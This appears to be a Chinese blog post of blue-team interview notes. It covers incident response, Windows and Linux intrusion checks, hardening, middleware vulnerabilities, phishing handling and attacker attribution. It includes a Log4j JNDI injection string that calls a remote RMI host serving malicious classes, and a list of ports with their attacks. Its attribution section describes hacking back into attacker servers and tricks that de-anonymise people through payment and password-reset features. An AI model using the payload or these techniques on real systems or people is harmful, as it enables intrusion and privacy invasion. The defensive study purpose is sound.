红蓝对抗-蓝队知识点汇总

1.应急响应基本思路流程

收集信息:收集客户信息和中毒主机信息,包括样本

判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS 等等

抑制范围:隔离使受害⾯不继续扩⼤

深入分析:日志分析、进程分析、启动项分析、样本分析方便后期溯源

清理处置:杀掉进程,删除文件,打补丁,删除异常系统服务,清除后门账号防止事件扩大,处理完毕后恢复生产

产出报告:整理并输出完整的安全事件报告

2.Windows入侵排查思路

检查系统账号安全

1.1 查看服务器是否有弱口令,远程管理端口是否对公网开放(使用netstat -ano 命令、或者问服务器管理员)

1.2 lusrmgr.msc命令查看服务器是否存在可疑账号、新增账号,如有管理员群组的(Administrators)里的新增账户,如有,立即禁用或删除掉

1.3 用 D 盾或者注册表中查看服务器是否存在隐藏账号、克隆账号

  

在cmd中输入:net user 看看有没有陌生用户

在cmd中输入:regedit 找到注册表分支 “HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Names/”看看有没有克隆用户

  

1.4 结合日志,查看管理员登录时间、用户名是否存在异常

检查方法:Win+R 打开运行,输入“eventvwr.msc”,回车运行,打开“事件查看器”,导出 Windows 日志–安全,利用 Log Parser 进行分析

系统日志包含Windows系统组件记录的事件。应用程序日志包含由应用程序或程序记录的事件。安全日志包含诸如有效和无效的登录尝试等事件,以及与资源使用相关的事件,如创建、打开或删除文件或其他对象。

检查异常端口、进程

netstat -ano检查端口连接情况,是否有远程连接、可疑连接

在cmd命令行中输入 netstat -ano 查看目前的网络连接,定位可疑的pid。

根据定位出的pid,再通过tasklist命令进行进程定位 tasklist | findstr “PID”

发现的感觉异常的 IP 地址可以在威胁情报平台上查询,如果是已知的恶意 IP,可以比较快速的确认攻击方式。

任务管理器-进程

进程查看工具:procexp.exe

检查启动项、计划任务、服务

启动项查看工具:autoruns.exe

计划任务查看:按下win+r键打开运行,输入taskschd.msc 打开任务计划,查看有没有可疑的计划任务。

检查系统相关信息

查看系统版本以及补丁信息

查找可疑目录及文件

日志分析

如果数据库被入侵,查看数据库登录日志等,如Sqlserver数据库支持设置记录用户登录成功 和失败的日志信息。

3.Linux入侵排查思路

1 账号安全

who查看当前登录用户(tty本地登陆 pts远程登录)

w 查看系统信息,想知道某一时刻用户的行为

uptime查看登陆多久、多少用户,负载

a) 用户信息文件/etc/passwd

root:x:0:0:root:/root:/bin/bash

account:password:UID:GID:GECOS:directory:shell

用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后shell

注意:无密码只允许本机登陆,远程不允许登陆

b) 影子文件/etc/shadow

root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::

用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留

/etc/passwd 存储一般的用户信息,任何人都可以访问;/etc/shadow 存储用户的密码信息,只有 root 用户可以访问

2 历史命令

1、root的历史命令 histroy

2、打开 /home 各帐号目录下的 .bash_history,查看普通帐号的历史命令

历史操作命令的清除:history -c

但此命令并不会清除保存在文件中的记录,因此需要手动删除.bash_history文件中的记录

3 检查异常端口

netstat -antlp|more

ls -l /proc/$PID/XXX

file /proc/$PID/XXX

查看pid所对应的进程文件信息

4 检查异常进程

ps aux | grep pid

5 检查开机启动项

/etc/rc.local

/etc/rc.d/rc[0~6].d

6 检查定时任务

crontab -l 列出某个用户cron服务的详细内容

Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root

crontab -r 删除某个用户cront任务

crontab -e 使用编辑器编辑当前的crontab文件

7 检查服务

chkconfig --list

systemctl list-unit-files

查看系统运行的服务

8 检查异常文件

9 检查系统日志

10.其他常用命令

系统信息

查看当前系统状态 top

操作系统信息 uname -a

查看当前系统进程信息 ps

查看历史命令 history

列出本机所有的连接和监听的端口 netstat

查看谁在使用某个端口 lsof

系统信息

查看当前用户登录系统情况 who

查看可登录的账户 cat/etc/passwd|grep ‘/bin/bash’

查看用户错误的登录信息 lastb

查看所有用户最后的登录信息 lastlog

查看用户最近登录信息 last

/var/log/ 其中,/var/log/wtmp 存储登录成功的信息、btmp存储登录失败的信息、utmp存储当前正在登录的信息

查看超级权限账户awk -F: '$3==0 {print $1}' /etc/passwd

查看空口令账户 awk -F: 'length($2)==0 {print $1}' /etc/shadow

4.Linux基线规范

账号管理和授权

检查特殊账号,是否存在空密码的账户和 root 权限账户

禁用或删除无用账号

添加口令策略:/etc/login.defs修改配置文件,设置过期时间、连续认证失败次数

禁止 root 远程登录,限制root用户直接登录。

检查 su 权限。vi /etc/pam.d/su添加auth required pam_wheel.so group=test

服务

关闭不必要的服务

SSH 服务安全

不允许 root 账号直接登录系统,PermitRootLogin=no

修改 SSH 使用的协议版本为 2

修改允许密码错误次数(默认 6 次),MaxAuthTries=3

文件系统

设置 umask 值 vi /etc/profile 添加行 umask 027

设置登录超时 vi /etc/profile 修改配置文件,将以 TMOUT= 开头的行注释,设置为 TMOUT=180

日志

启用 syslogd 日志,配置日志目录权限,或者设置日志服务器

记录所有用户的登录和操作日志,通过脚本代码实现记录所有用户的登录操作日志,防止出现安全事件后无据可查

IP 协议安全要求

远程登录取消 telnet 采用 ssh

设置 /etc/hosts.allow 和 deny

禁止 ICMP 重定向

禁止源路由转发

防 ssh 破解,iptables (对已经建立的所有链接都放行,限制每分钟连接 ssh 的次数)+ denyhost (添加 ip 拒绝访问)

5.Apache 服务加固

https://www.alibabacloud.com/help/zh/security-advisories/latest/harden-apache-service-security

6.常用web中间件漏洞

https://www.freebuf.com/articles/web/192063.html

(一) IIS

1、PUT漏洞

2、短文件名猜解

3、远程代码执行

4、解析漏洞

(二) Apache

1、解析漏洞

2、目录遍历

(三) Nginx

1、文件解析

2、目录遍历

3、CRLF注入

4、目录穿越

(四)Tomcat

1、远程代码执行

2、war后门文件部署

(五)jBoss

1、反序列化漏洞

2、war后门文件部署

(六)WebLogic

1、反序列化漏洞

2、SSRF

3、任意文件上传

4、war后门文件部署

(七)其它中间件相关漏洞

1、FastCGI未授权访问、任意命令执行

2、PHPCGI远程代码执行

7.护网的分组和流程?

护网的分组是在领导小组之下分为防护检测组,综合研判组,应急溯源组。流程大致分为备战,临战,决战三个阶段

备战阶段,主要任务是进行两方面的操作,一是减少攻击面,即资产梳理,减少暴露面;二是排查风险点,即通过漏洞扫描,渗透测试,弱口令等进行自查

临战阶段,主要任务也大致可以分为两个部分,一是进行内部演练,发现疏忽处并进行相应整改;二是可以适当增加安全设备,比如WAF,IPS,IDS,SOC,堡垒机等

决战阶段,作为新人,主要就是坚守岗位,有应急日志就看自己能不能解决,不能就上报,服从上级安排,优化防护,持续整改

8.简历有护网经历,你能谈谈护网的情况吗

参加过护网蓝队,负责事件研判工作,主要使用 ips,ids 等设备做流量监控与日志分析工作判断安全事件是否为误判

对安全管理中心发出的态势排查单进行排查,并将排查结果反馈给安全管理中心,对安全管理中心发出的封堵工单和解封工单进行对应的封堵与解封,每两小时反馈一次排查结果、设备巡检报告、封堵情况。查看呼池 DDOS 设备,记录并排查告警信息

蓝队研判

研判工作要充分利用已有安全设备(需要提前了解客户的网络拓扑以及部署设备情况),分析其近期的设备告警,将全部流量日志(日志条件:源地址,目的地址,端口,事件名称,时间,规则 ID,发生 次数等)根据研判标准进行筛选(像挖矿、蠕虫、病毒、拒绝服务这类不太可能为攻击方发起的攻击的事件,直接过滤掉,减少告警数量),一般情况下,真实攻击不可能只持续一次,它一定是长时间、周期性、多 IP 的进行攻击

对于告警结合威胁情报库如:微步、奇安信威胁情报中心、绿盟威胁情报云等对于流量日志的原 IP 地址进行分析,判断其是否为恶意攻击,推荐使用微步的插件,如果确认为攻击行为或者不能确认是否为攻击行为,进行下一步操作,在之前准备好的表格中查找 IP 是否为客户内网部署的设备,如果不是,继续进行下一步,在事件上报平台查看是否有其他人提交过,如果没有,则上报

然后根据流量日志,对请求数据包和返回数据包分析判断其是否为误报,需要留意 X-Forwarded-For(简称XFF)和 x-real-ip

可以了解些 webshell 工具的流量特征,尤其是免杀 webshell,有可能不会被设备识别

最后上报事件时,尽可能提供完整的截图,包括源 ip、目的ip,请求包请求体,响应包响应体等重要信息,以方便后续人员研判溯源

9.一个大范围影响的0day被曝光,作为甲方安全工程师,应该如何处理

首先是评估 0day 对自身系统的影响(这部分评估需要根据漏洞利用的利用点、是否需要交互、是否会影响系统的 CIA,是否有在野利用 poc,影响资产是否暴露在公网等很多因素决定,详情可以参考 CVSS )

如果确定有影响的话且有 poc,第一件事是先分析 poc 执行后会在什么地方留下痕迹,我们有什么样的设备去采集这些痕迹所留下的数据,比如说 ntlm relay 这种,可以考虑从 Windows 事件日志当中 event_id 等于 4769 的事件入手编写对应的规则,这样的话可以利用 SIEM 或者实时日志分析平台跑起来,可以建立起初步的感知防线,后期触发告警,人肉运营也可以快速止损

日常建立完整的纵深防御体系,不要依赖于某一道防线

10.钓鱼邮件处置

钓鱼邮件发现

发现途径如下:邮件系统异常登录告警、员工上报、异常行为告警、邮件蜜饵告警

推荐接入微步或奇安信的情报数据。对邮件内容出现的 URL 做扫描,可以发现大量的异常链接

https://www.freebuf.com/articles/es/264037.html

处置

屏蔽办公区域对钓鱼邮件内容涉及站点、URL 访问

根据办公环境实际情况可以在上网行为管理、路由器、交换机上进行屏蔽

邮件内容涉及域名、IP 均都应该进行屏蔽

对访问钓鱼网站的内网 IP 进行记录,以便后续排查溯源可能的后果

屏蔽钓鱼邮件

屏蔽钓鱼邮件来源邮箱域名

屏蔽钓鱼邮件来源 IP

有条件的可以根据邮件内容进行屏蔽

删除还在邮件服务器未被客户端收取钓鱼邮件

处理接收到钓鱼邮件的用户

根据钓鱼邮件发件人进行日志回溯

此处除了需要排查有多少人接收到钓鱼邮件之外,还需要排查是否公司通讯录泄露。采用 TOP500 姓氏撞库发送钓鱼邮件的攻击方式相对后续防护较为简单。如果发现是使用公司通讯录顺序则需要根据通讯录的离职情况及新加入员工排查通讯录泄露时间。毕竟有针对性的社工库攻击威力要比 TOP100、TOP500 大很多

通知已接收钓鱼邮件的用户进行处理

删除钓鱼邮件

系统改密

全盘扫毒

后续:溯源、员工培训提升安全意识

11.Log4j rce

log4j 是 java web 的日志组件,用来记录 web 日志

原理:

以RMI为例,简单阐述下该漏洞的攻击原理:

1、攻击者首先发布一个RMI服务,此服务将绑定一个引用类型的RMI对象。在引用对象中指定一个远程的含有恶意代码的类。

2、攻击者再发布另一个恶意代码下载服务,此服务可以下载所有含有恶意代码的类。

3、攻击者利用Log4j2的漏洞注入RMI调用,例如: log.info(“登录成功”, “${jndi:rmi://rmi-service:1188/hackedclass}”);

4、调用RMI后将获取到引用类型的RMI远程对象,该对象将就加载恶意代码并执行。

修复:升级 Log4j 到最新版本,根据业务判断是否关闭 lookup

12.WAF产品如何来拦截攻击?

Waf 产品有三种

云 Waf

用户不需要在自己的网络中安装软件程序或部署硬件设备,就可以对网站实施安全防护,它的主要实现方式是利用 DNS 技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测,如存在异常请求则进行拦截否则将请求转发至真实服务器

Web 防护软件

安装在需要防护的服务器上,实现方式通常是 Waf 监听端口或以 Web 容器扩展方式进行请求检测和阻断

硬件 Web 防火墙

Waf 串行部署在 Web 服务器前端,用于检测、阻断异常流量。常规硬件 Waf 的实现方式是通过代理技术代理来自外部的流量

原理都相同,通过部署在 Web 服务器前方串行接入来将 Web 流量牵引到 WAF 设备中进行清洗或者拦截,最终只把正常用户的请求转发给服务器

当前市场上 Waf 产品核心的防护机制是“规则”,每一个请求、会话,经过抓包,“开包检查”,每一项规则都会检查到,一旦检查不通过,就会被认为是非法访问,拒绝处理

13.溯源

基本步骤

1.攻击源捕获

安全设备报警,如扫描IP、威胁阻断、病毒木马、入侵事件等

日志与流量分析,异常的通讯流量、攻击源与攻击目标等

服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等

邮件钓鱼,获取恶意文件样本、钓鱼网站 URL 等

蜜罐系统,获取攻击者 ID、电脑信息、浏览器指纹、行为、意图的相关信息

2.溯源反制手段

IP 定位技术

根据IP定位物理地址–代理 IP

溯源案例:通过 IP 端口扫描,反向渗透服务器进行分析,最终定位到攻击者相关信息

ID 追踪术

ID 追踪术,搜索引擎、社交平台、技术论坛、社工库匹配

溯源案例:利用 ID 从技术论坛追溯邮箱,继续通过邮箱反追踪真实姓名,通过姓名找到相关简历信息

网站 url

域名 Whois 查询–注册人姓名、地址、电话和邮箱 --域名隐私保护

溯源案例:通过攻击 IP 历史解析记录/域名,对域名注册信息进行溯源分析

恶意样本分析

提取样本特征、用户名、ID、邮箱、C2 服务器等信息–同源分析

溯源案例:样本分析过程中,发现攻击者的个人 ID 和 QQ,成功定位到攻击者

社交账号

基于 JSONP 跨域,获取攻击者的主机信息、浏览器信息、真实 IP 及社交信息等

利用条件:可以找到相关社交网站的 jsonp 接口泄露敏感信息,相关网站登录未注销

3.攻击者画像

攻击路径

攻击目的:拿到权限、窃取数据、获取利益、DDOS 等

网络代理:代理 IP、跳板机、C2 服务器等

攻击手法:鱼叉式邮件钓鱼、Web渗透、水坑攻击、近源渗透、社会工程等

攻击者身份画像

虚拟身份:ID、昵称、网名

真实身份:姓名、物理位置

联系方式:手机号、qq/微信、邮箱

组织情况:单位名称、职位信息

技巧

域名、ip 反查目标个人信息

支付宝转账,确定目标姓氏

淘宝找回密码,确定目标名字

企业微信手机号查公司名称

REG007 查注册应用、网站

程序 PDB 信息泄露

13. 如何识别安全设备中的无效告警

比如说:攻击方通过对目标资产所处的C段进行批量扫描,但C段的资产并非都是处于「活跃」状态,甚至根本没有这个资产。而安全设备还是因为这个「攻击尝试行为」产生了告警,那么这种告警就属于“无效告警”。

比如说:攻击方尝试利用现成的“EXP&POC集成脚本工具”对资产目标进行检测扫描,安全设备检测到“攻击尝试行为”中的攻击特征就会产生告警。在通常情况下,可以把告警中的URL的“网页状态码”、“页面回显数据”作为“误报告警”判断的条件之一。

14.常见的端口是哪些,是什么服务,对应的红队攻击方式

数据库类(扫描弱口令)

1433:MSSQL

1521:Oracle

3306:Mysql

5432:PostgreSQL

特殊服务类(未授权/命令执行)

443:ssl 心脏滴血

873:Rsync 未授权

5984:CouchDB http://xxx:5984/_utils/

6379:Redis 未授权

7001、7002:Weblogic 默认弱口令

8088:Hadoop Yarn 资源管理系统 REST API 存在未授权

8161:Apache ActiveMQ 未授权、弱口令,put 文件上传,move 文件移动

9200、9300:elasticsearch 命令执行

11211:Memcache 未授权,telnet ip 就可以获得服务器敏感信息

27017、27018:Mongodb 未授权

50000:SAP 命令执行

50070、50030 Hadoop 未授权访问

常用端口类(弱口令/端口爆破)

21:FTP 弱口令,匿名 anonymous/空登录,以及 ms12-073

25:SMTP 简单邮件传输服务器端口

23:Telnet 的端口,Telnet 是一种可以远程登录并管理远程机器的服务

22:ssh 端口,PcAnywhere 建立 TCP 和这一端口的连接可能是为了寻找 ssh,这一服务有许多弱点

53:dns 端口

139:属于 TCP 协议,是为 NetBIOS Session Service 提供的,主要提供 Windows 文件和打印机共享以及 Unix 中的 Samba 服务

445:网络共享 smb 服务,尝试利用 ms08067,ms17010 等以及 IPC$ 攻击手段

2601、2604:zebra 路由,默认密码 zebra

15.木马驻留系统的方式有哪些?

a. 注册表

b. 服务

c. 启动目录

d. 计划任务

e. 关联文件类型

  • 0
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值